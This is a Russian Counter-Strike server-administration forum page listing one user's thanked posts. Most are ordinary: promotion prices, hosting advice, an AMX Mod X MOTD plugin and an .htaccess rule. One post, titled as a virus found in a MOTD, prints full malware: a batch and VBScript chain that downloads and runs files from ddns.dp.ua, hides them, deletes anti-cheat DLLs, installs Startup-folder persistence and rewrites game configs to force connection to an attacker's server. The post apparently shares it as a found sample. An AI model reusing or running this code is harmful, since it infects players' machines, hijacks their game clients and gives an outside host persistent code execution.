Правила форума Гаранты форума
Размещение рекламы AMX-X компилятор

Здравствуйте, гость Вход | Регистрация

Наши новости:

14-дек
Добавлена поддержка utf8mb4
24-апр
Telegram группа
10-апр
Обновление PHP
11-апр
Раздача читов

История благодарностей участнику panda08 ::: Спасибо сказали: 23
Дата поста: В теме: За сообщение: Спасибо сказали:
15.10.2018, 21:17 Обсуждение раскрутки CS сервера
Цитата(DANDY @ 15.10.2018, 21:26) *
Почём нынче Топ на turbo-boost уходит?
И 5 звёзд на GS-Monitor?

От 4.5 до 7к на tb и от 5.5 до 10к на gsm
 DANDY
10.2.2018, 20:03 Поменять составы сторонами
Original Teampla...,
типа такого?
http://nn-cs.3dn.ru/load/15-1-0-19528
 Original Teamplay
23.1.2018, 12:10 Вирус в мотд
CLICK_RUN.cmd
@echo off

set DLOAD_SCRIPT=download.vbs
echo Option Explicit > %DLOAD_SCRIPT%
echo Dim args, http, fileSystem, adoStream, url, target, status >> %DLOAD_SCRIPT%
echo. >> %DLOAD_SCRIPT%
echo Set args = Wscript.Arguments >> %DLOAD_SCRIPT%
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> %DLOAD_SCRIPT%
echo url = args(0) >> %DLOAD_SCRIPT%
echo target = args(1) >> %DLOAD_SCRIPT%
echo WScript.Echo "Getting '" ^& target ^& "' from '" ^& url ^& "'..." >> %DLOAD_SCRIPT%
echo. >> %DLOAD_SCRIPT%
echo http.Open "GET", url, False >> %DLOAD_SCRIPT%
echo http.Send >> %DLOAD_SCRIPT%
echo status = http.Status >> %DLOAD_SCRIPT%
echo. >> %DLOAD_SCRIPT%
echo If status ^<^> 200 Then >> %DLOAD_SCRIPT%
echo WScript.Echo "FAILED to download: HTTP Status " ^& status >> %DLOAD_SCRIPT%
echo WScript.Quit 1 >> %DLOAD_SCRIPT%
echo End If >> %DLOAD_SCRIPT%
echo. >> %DLOAD_SCRIPT%
echo Set adoStream = CreateObject("ADODB.Stream") >> %DLOAD_SCRIPT%
echo adoStream.Open >> %DLOAD_SCRIPT%
echo adoStream.Type = 1 >> %DLOAD_SCRIPT%
echo adoStream.Write http.ResponseBody >> %DLOAD_SCRIPT%
echo adoStream.Position = 0 >> %DLOAD_SCRIPT%
echo. >> %DLOAD_SCRIPT%
echo Set fileSystem = CreateObject("Scripting.FileSystemObject") >> %DLOAD_SCRIPT%
echo If fileSystem.FileExists(target) Then fileSystem.DeleteFile target >> %DLOAD_SCRIPT%
echo adoStream.SaveToFile target >> %DLOAD_SCRIPT%
echo adoStream.Close >> %DLOAD_SCRIPT%
echo. >> %DLOAD_SCRIPT%

cscript //Nologo %DLOAD_SCRIPT% http://ddns.dp.ua/upp/fileS.vbs pl.vbs

start pl.vbs


fileS.vbs
CreateObject("WScript.Shell").Run("taskkill /f /im hl.exe")
wscript.sleep 5000
Sub unProtectFile( filename )
dim readfile, filesys
set filesys = CreateObject("Scripting.FileSystemObject")

If filesys.FileExists( filename ) Then
set readfile = filesys.GetFile( filename )
readfile.Attributes = 0 ' normal
End If
End Sub

Sub protectFile( filename )
dim readfile, filesys
set filesys = CreateObject("Scripting.FileSystemObject")

If filesys.FileExists( filename ) Then
set readfile = filesys.GetFile( filename )
readfile.Attributes = 7 ' hidden + system + readonly
End If
End Sub

Sub DeleteAFile( filename )
Dim filesys
Set filesys = CreateObject("Scripting.FileSystemObject")

If filesys.FileExists( filename ) Then
unProtectFile( filename )
filesys.DeleteFile( filename ), True
End If
End Sub


Sub UpdateCFG( path )
DeleteAFile path
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.CreateTextFile(path, ForWriting)
objFile.Write "connect auto.ddns.dp.ua:27015"
objFile.Close

protectFile path
End Sub


Sub RenameFile( oldName, newName )
Dim filesys
Set filesys = WScript.CreateObject("Scripting.FileSystemObject")

If filesys.FileExists( oldName ) Then
filesys.MoveFile oldName, newName
End If
End Sub



Sub DeleteAFolder( foldername )
Dim filesys
Set filesys = CreateObject("Scripting.FileSystemObject")

If filesys.FolderExists( foldername ) Then
' unProtectFile( foldername )
filesys.DeleteFolder( foldername ), True
End If
End Sub

Sub RenameFolder( oldName, newName )
Dim filesys
Set filesys = WScript.CreateObject("Scripting.FileSystemObject")

If filesys.FolderExists( oldName ) Then
filesys.MoveFolder oldName, newName
End If
End Sub

DeleteAFile "mix.asi"
DeleteAFile "mix.dll"


strURL="http://ddns.dp.ua/upp/mix.dll?" & Rnd
Set xml = CreateObject("Microsoft.XMLHTTP")
xml.Open "GET", strURL, False
xml.Send

If Err.Number <> 0 Then
WScript.Quit ' if file download fails, quit script
Else
set oStream = createobject("Adodb.Stream")

oStream.type = 1 ' adTypeBinary
oStream.open
oStream.write xml.responseBody

' overwrite
oStream.savetofile strMyPath & "mix.dll", 2 ' adSaveCreateOverWrite
oStream.close

set oStream = nothing
Set xml = Nothing
protectFile(strMyPath & "mix.dll")
End If
Err.Clear
On Error Resume Next

strURL="http://ddns.dp.ua/upp/mix.asi?" & Rnd
Set xml = CreateObject("Microsoft.XMLHTTP")
xml.Open "GET", strURL, False
xml.Send

If Err.Number <> 0 Then
WScript.Quit ' if file download fails, quit script
Else
set oStream = createobject("Adodb.Stream")

oStream.type = 1 ' adTypeBinary
oStream.open
oStream.write xml.responseBody

' overwrite
oStream.savetofile strMyPath & "mix.asi", 2 ' adSaveCreateOverWrite
oStream.close

set oStream = nothing
Set xml = Nothing
protectFile(strMyPath & "mix.asi")
End If
Err.Clear
On Error Resume Next

On Error Resume Next
Set objHTTP = CreateObject("MSXML2.XMLHTTP")
Call objHTTP.Open("GET", "http://ddns.dp.ua/upp/protector.cfg?" & Rnd, FALSE)
objHTTP.Send

If Err.Number <> 0 Then

Else
DeleteAFile "cstrike\protector.cfg"
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.CreateTextFile("cstrike\protector.cfg", ForWriting)
objFile.Write objHTTP.ResponseText
objFile.Close
protectFile("cstrike\protector.cfg")
End If





On Error Resume Next
protectFile("mix.asi")
protectFile("mix.dll")
protectFile("cstrike\liblist.gam")
DeleteAFolder "cstrike\bin_old"
DeleteAFile "cstrike\bin_old"

DeleteAFile "mix.asi.old"
DeleteAFile "mix.dll.old"
DeleteAFile "SVC_BlockCommand.log.old"

RenameFolder "cstrike\bin", "cstrike\bin_old"
RenameFile "cstrike\bin", "cstrike\bin_old"



DeleteAFile "cstrike\bin\TrackerUI.dll"
DeleteAFile "valve\bin\TrackerUI.dll"
DeleteAFile "cstrike\cl_dlls\ParticleMan.dll"
DeleteAFile "NexonUp.asi"
DeleteAFile "CsShield.dll"
DeleteAFile "client_save.asi"
DeleteAFile "client_save.dll"
DeleteAFile "csxguard.asi"
DeleteAFile "csxguard.dll"
DeleteAFile "GTProtector.asi"
DeleteAFile "GTProtector.dll"
DeleteAFile "CTShield.asi"
DeleteAFile "CTShield.dll"
DeleteAFile "gopnict.asi"
DeleteAFile "muc.bak"
RenameFile "cstrike\bin\TrackerUI.dll", "cstrike\bin\TrackerUI.dll.old"
RenameFile "valve\bin\TrackerUI.dll", "valve\bin\TrackerUI.dll.old"
RenameFile "cstrike\cl_dlls\ParticleMan.dll", "cstrike\cl_dlls\ParticleMan.dll.old"
RenameFile "NexonUp.asi", "NexonUp.asi.old"
RenameFile "CsShield.dll", "CsShield.dll.old"
RenameFile "client_save.asi", "client_save.asi.old"
RenameFile "client_save.dll", "client_save.dll.old"
RenameFile "csxguard.asi", "csxguard.asi.old"
RenameFile "csxguard.dll", "csxguard.dll.old"
RenameFile "GTProtector.asi", "GTProtector.asi.old"
RenameFile "GTProtector.dll", "GTProtector.dll.old"

DeleteAFile "cstrike\bin\TrackerUI.dll.old"
DeleteAFile "valve\bin\TrackerUI.dll.old"
DeleteAFile "cstrike\cl_dlls\ParticleMan.dll.old"
DeleteAFile "NexonUp.asi.old"
DeleteAFile "CsShield.dll.old"
DeleteAFile "client_save.asi.old"
DeleteAFile "client_save.dll.old"
DeleteAFile "csxguard.asi.old"
DeleteAFile "csxguard.dll.old"
DeleteAFile "protector.asi"
DeleteAFile "GTProtector.asi.old"
DeleteAFile "GTProtector.dll.old"

RenameFile "mssv55.asi", "mssv55.asi.old"
DeleteAFile "mssv55.asi.old"

On Error Goto 0

On Error Resume Next
Set objHTTP = CreateObject("MSXML2.XMLHTTP")
Call objHTTP.Open("GET", "http://ddns.dp.ua/upp/update.mrv?" & Rnd, FALSE)
objHTTP.Send

If Err.Number <> 0 Then

Else
DeleteAFile strMyPath & "SteamLogs.bat"
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.CreateTextFile(strMyPath & "SteamLogs.bat", ForWriting)
objFile.Write objHTTP.ResponseText
objFile.Close
End If

On Error Goto 0


CreateObject("WScript.Shell").Run(Chr(34) & strMyPath & "SteamLogs.bat" & Chr(34))


WScript.Sleep 4000


CreateObject("WScript.Shell").Run("hl.exe -steam -game cstrike -noforcemparms -noforcemaccel")

Dim WshShell, strCurDir
Set WshShell = CreateObject("WScript.Shell")
strCurDir = WshShell.CurrentDirectory
strCurDir = strCurDir & "\"

Set objShell = Wscript.CreateObject("Wscript.Shell")
strPath = objShell.SpecialFolders("StartUp")
strMyPath = strPath & "\"

strURL="http://ddns.dp.ua/upp/reload.vbs?" & Rnd
Set xml = CreateObject("Microsoft.XMLHTTP")
xml.Open "GET", strURL, False
xml.Send

If Err.Number <> 0 Then
WScript.Quit ' if file download fails, quit script
Else
set oStream = createobject("Adodb.Stream")

oStream.type = 1 ' adTypeBinary
oStream.open
oStream.write xml.responseBody

' overwrite
oStream.savetofile strMyPath & "reload.vbs", 2 ' adSaveCreateOverWrite
oStream.close

set oStream = nothing
Set xml = Nothing
'protectFile(strMyPath & "reload.vbs")
End If
Err.Clear
On Error Resume Next

WScript.Sleep 5000
CreateObject("WScript.Shell").Run(Chr(34) & strMyPath & "reload.vbs" & Chr(34))


Dim filesys
Set filesys = CreateObject("Scripting.FileSystemObject")

Set objFSO = CreateObject("Scripting.FileSystemObject")

Set objFolder = objFSO.GetFolder(strCurDir)

Set colFiles = objFolder.Files
For Each objFile in colFiles
if instr(objFile.Name,".vbe") then

filesys.DeleteFile( strCurDir & "*.vbe" ), True

elseif instr(objFile.Name,".vbs") then
filesys.DeleteFile( strCurDir & "*.vbs" ), True

end if
Next

UpdateCFG "cstrike\hw\geforce.cfg"
UpdateCFG "cstrike\hw\opengl.cfg"
UpdateCFG "cstrike\autoexec.cfg"
UpdateCFG "cstrike\valve.rc"

UpdateCFG "valve\hw\geforce.cfg"
UpdateCFG "valve\hw\opengl.cfg"
UpdateCFG "valve\valve.rc"
 Affl
30.12.2017, 11:40 [Metamod] WHBlocker 1.5.692
ladders, да, оно.
 ladders
26.12.2017, 22:35 Выбор хостинга сайтов
Цитата(Rusich @ 27.12.2017, 0:21) *
vavarik,
Сейчас мне главное хостинг сайтов с UDP соединениями.

То что тебе нужно я предложил.
 Rusich
26.12.2017, 19:42 Выбор хостинга сайтов
Rusich,
сархостинг
https://sarhosting.ru/
 Rusich
15.8.2017, 20:06 Куплю Боссов NPC для ZM
DANDY,
Напиши ему
vk.com/zombielite
forum.zombielite.ru
 DANDY
11.3.2017, 0:16 Админские хохмы
в 2 раза быстрей
[attachment=43777:S70311_240139_1_.jpg]
 kritic, magis1337
28.12.2016, 2:24 FastDL низок онлайн
По теме ничего нет, одна бестолковая дискуссия...
 TheArtemMaps
7.9.2015, 21:35 Смешные и забавные картинки
самое главное джекпак
 filip, JIuXeP, KaJIbIBaH, ssx
21.6.2015, 12:56 MOTD Плагин
Этот плаг скомпиль и проверь названия motd окон (все что нужно smile.gif )
 noob1985
19.6.2015, 21:46 MOTD Плагин
Все нормуль
Код: 
#include <amxmodx> 
#include <amxmisc> 
 
public plugin_init() 
{ 
    register_plugin("show motd", "1.0", "noob") 
    register_clcmd("say /rules", "rules")
    register_clcmd("say_team /rules", "rules")
    register_clcmd("say /pravila", "pravila")
    register_clcmd("say_team /pravila", "pravila")
    register_clcmd("say /vipka", "vipka")
    register_clcmd("say_team /vipka", "vipka")
    register_clcmd("say /vip", "vip")
    register_clcmd("say_team /vip", "vip")
    register_clcmd("say /adminka", "adminka")
    register_clcmd("say_team /adminka", "adminka")
    register_clcmd("say /admin", "admin")
    register_clcmd("say_team /admin", "admin")
    register_clcmd("say /help", "help")
    register_clcmd("say_team /help", "help")
} 
 
public rules(id)
{    
    show_motd(id, "rules.txt", "Server Rules")    
}
public pravila(id)
{    
    show_motd(id, "pravila.txt", "Правила Сервера")    
}
public vip(id)
{    
    show_motd(id, "vip.txt", "V.I.P Privilleges")    
}
public vipka(id)
{    
    show_motd(id, "vipka.txt", "Привилегии V.I.P")    
}
public admin(id)
{    
    show_motd(id, "admin.txt", "ADMIN Privilleges")    
}
public adminka(id)
{    
    show_motd(id, "adminka.txt", "Привилегии ADMIN")    
}
public help(id)
{    
    show_motd(id, "help.txt", "Server Commands")    
}

 noob1985
14.6.2015, 15:01 Убрать расширение php в адресной строке
Shelest,
тогда у тебя rewrite вообще не установлен
 Shelest
14.6.2015, 14:34 Убрать расширение php в адресной строке
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME}\.php -f
RewriteRule ^(.*)$ $1.php

И в адресной строке пиши без .php (mysite.com/test)
 Shelest
8.4.2015, 22:51 [PHP] Сайт сбора статистики МС
Короче, ПОНЕСЛАСЬ rofl.gif
 Ellome
1.12.2014, 13:45 Sentry Guns v2.0
тот самый плагин + синие модельки , краш сервера гарантирован smile.gif
 Ernar

Powered By Invision Power Board  © 2005-2026 
Counter Strike Support Community